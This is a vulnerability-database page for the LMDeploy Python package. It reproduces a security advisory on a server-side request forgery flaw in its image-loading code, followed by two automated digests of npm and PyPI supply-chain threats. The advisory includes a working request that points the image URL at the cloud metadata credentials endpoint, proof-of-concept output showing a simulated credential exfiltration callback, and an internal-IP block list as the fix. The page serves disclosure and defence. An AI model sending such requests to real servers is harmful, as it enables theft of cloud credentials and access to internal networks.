Most severe vulnerabilities for "pypi/lmdeploy"

Where

Sort:

pypi/lmdeployLMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

Risk 43

Severity

7.5

SSRF

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The loadimage() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

- Tested on: main branch (2026-02-04) - Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67) python def loadimage(imageurl: Union[str, Image.Image]) -> Image.Image: # ... if imageurl.startswith('http'): response = requests.get(imageurl, headers=headers, timeout=FETCHTIMEOUT) # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encodeimagebase64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching 2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x) 3. Server binds to 0.0.0.0 by default (apiserver.py line 1393) 4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model 2. Attacker sends request to /v1/chat/completions with malicious imageurl: python POST /v1/chat/completions { "model": "internlm-xcomposer2", "messages": [{ "role": "user", "content": [ {"type": "text", "text": "Describe this image"}, {"type": "imageurl", "imageurl": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}} ] }] }

3. Server fetches URL without validation 4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result ╔═══════════════════════════════════════════════════════════════════════╗ ║ LMDeploy SSRF Vulnerability - Proof of Concept ║ ╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889... [2] Attacker URL: http://127.0.0.1:8889/SSRFPROOF?stolendata=AWSSECRETKEY [3] Calling vulnerable loadimage() function...

====================================================================== [+] SSRF CALLBACK RECEIVED! ====================================================================== Time: 2026-02-04 16:10:57 Path: /SSRFPROOF?stolendata=AWSSECRETKEY Client: 127.0.0.1:51154 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)... ======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

- Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs - Internal Service Access: Reach services not exposed to internet - Information Disclosure: Port scan internal networks - Lateral Movement: Pivot point for further attacks

Recommended Fix python from urllib.parse import urlparse import ipaddress import socket

BLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), ipaddress.ipnetwork('10.0.0.0/8'), ipaddress.ipnetwork('172.16.0.0/12'), ipaddress.ipnetwork('192.168.0.0/16'), ipaddress.ipnetwork('169.254.0.0/16'), ]

def issafeurl(url: str) -> bool: try: parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False ip = socket.gethostbyname(parsed.hostname) ipaddr = ipaddress.ipaddress(ip) return not any(ipaddr in network for network in BLOCKEDNETWORKS) except: return False

---

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky Organization: Orca Security Emails: igor.stepansky@orca.security iggy.p0pi@orca.security

1 / 2

Source: GitHub

First published (updated )

CVE-2026-33626

14 npm/PyPI/AI Supply-Chain Threats Today (2026-05-22): Critical Worms, Credential Harvesting, and RCEs

Threat Summary

CRITICAL Alerts (Immediate Action Required)

1. u/cap-js ecosystem compromise (CVE-2026-46421)

Threat: Compromised versions of u/cap-js/sqlite, u/cap-js/postgres, and u/cap-js/db-service were published to harvest credentials and self-propagate. Action: Upgrade immediately (sqlite \>= 2.4.0, postgres \>= 2.3.0, db-service \>= 2.11.0). Assume all local credentials are compromised if you installed the malicious versions.

2. u/beproduct/nestjs-auth worm (CVE-2026-46412)

Threat: Malicious versions containing payloads from the Mini Shai-Hulud npm supply-chain worm campaign were published. Action: Remove and reinstall dependencies. Audit for signs of compromise if installed during the affected window (v0.1.2 - 0.1.19).

3. guardrails-ai compromise (CVE-2026-45758)

Threat: A malicious version of guardrails-ai (0.10.1) was published to PyPI. It has been quarantined. Action: Uninstall guardrails-ai==0.10.1 and reinstall a known good version.

HIGH Severity Highlights

Remote Code Execution (RCE): Both Diffusers (CVE-2026-45804) and lmdeploy (CVE-2026-46517) in the AI/ML ecosystem have vulnerabilities allowing for unsafe remote code execution via trustremotecode bypasses. PenPot MCP (CVE-2026-45805) exposes an unauthenticated /execute endpoint. Denial of Service (DoS): Heavy hitters include u/libp2p/gossipsub (Heap exhaustion), u/libp2p/kad-dht (Disk exhaustion), and SQLFluff (Parser resource consumption). Update to patched versions to prevent node crashing. SSRF & Injection: Crawlee for Python and SillyTavern both suffer from SSRF vulnerabilities requiring configuration updates. samlify is vulnerable to XML injection leading to privilege escalation in signed SAML assertions.

Automated daily digest, created via https://github.com/Deam0on/wakellm - feedback welcome. Stay safe out there!

First published (updated )

Social

🚨 14 npm/PyPI/AI Supply-Chain Threats Today (2026-05-26): Critical Worms, Parse Server DoS, and AI RCEs

This is the daily security digest covering confirmed npm, PyPI, and supply-chain security threats detected in the past 24 hours. A total of 14 threats have been identified across various ecosystems, including active credential harvesting campaigns.

📊 Threat Summary

🚨 CRITICAL Alerts (Immediate Action Required)

1. u/cap-js ecosystem compromise (CVE-2026-46421)

Threat: Compromised versions of u/cap-js/sqlite, u/cap-js/postgres, and u/cap-js/db-service were published to harvest credentials and self-propagate. Action: Upgrade immediately (sqlite \>= 2.4.0, postgres \>= 2.3.0, db-service \>= 2.10.2). Assume all local credentials are compromised if you installed the malicious versions.

2. u/beproduct/nestjs-auth worm (CVE-2026-46412)

3. guardrails-ai compromise (CVE-2026-45758)

Threat: A malicious version of guardrails-ai (0.10.1) was published to PyPI. It has been quarantined. Action: Uninstall guardrails-ai==0.10.1 and reinstall a known good version.

⚠️ HIGH Severity Highlights

Denial of Service (DoS) Wave: Several major packages are vulnerable to crashing today. Parse Server (CVE-2026-47138) can be taken down pre-auth via a regex backtracking attack in the client version header. qs (CVE-2026-8723) will crash on specific null/undefined arrays. u/libp2p packages are vulnerable to both memory and disk exhaustion attacks. AI Toolchain Remote Code Execution: Both Diffusers (CVE-2026-45804) and lmdeploy (CVE-2026-46517) have vulnerabilities bypassing trustremotecode guardrails, allowing arbitrary remote code execution on model fetch. SSRF & Injection: Crawlee for Python and SillyTavern both suffer from SSRF vulnerabilities requiring configuration updates. samlify is vulnerable to XML injection leading to privilege escalation, and js-cookie is vulnerable to a prototype hijacking attack.

Automated daily digest, created via https://github.com/Deam0on/wakellm - feedback welcome. Stay safe out there!

First published (updated )

Social

Trending

pypi/lmdeployLMDeploy Vulnerable to Server-Side Request Forgery (SSRF) via Vision-Language Image Loading

14 npm/PyPI/AI Supply-Chain Threats Today (2026-05-22): Critical Worms, Credential Harvesting, and RCEs

🚨 14 npm/PyPI/AI Supply-Chain Threats Today (2026-05-26): Critical Worms, Parse Server DoS, and AI RCEs

Company

Resources

Contact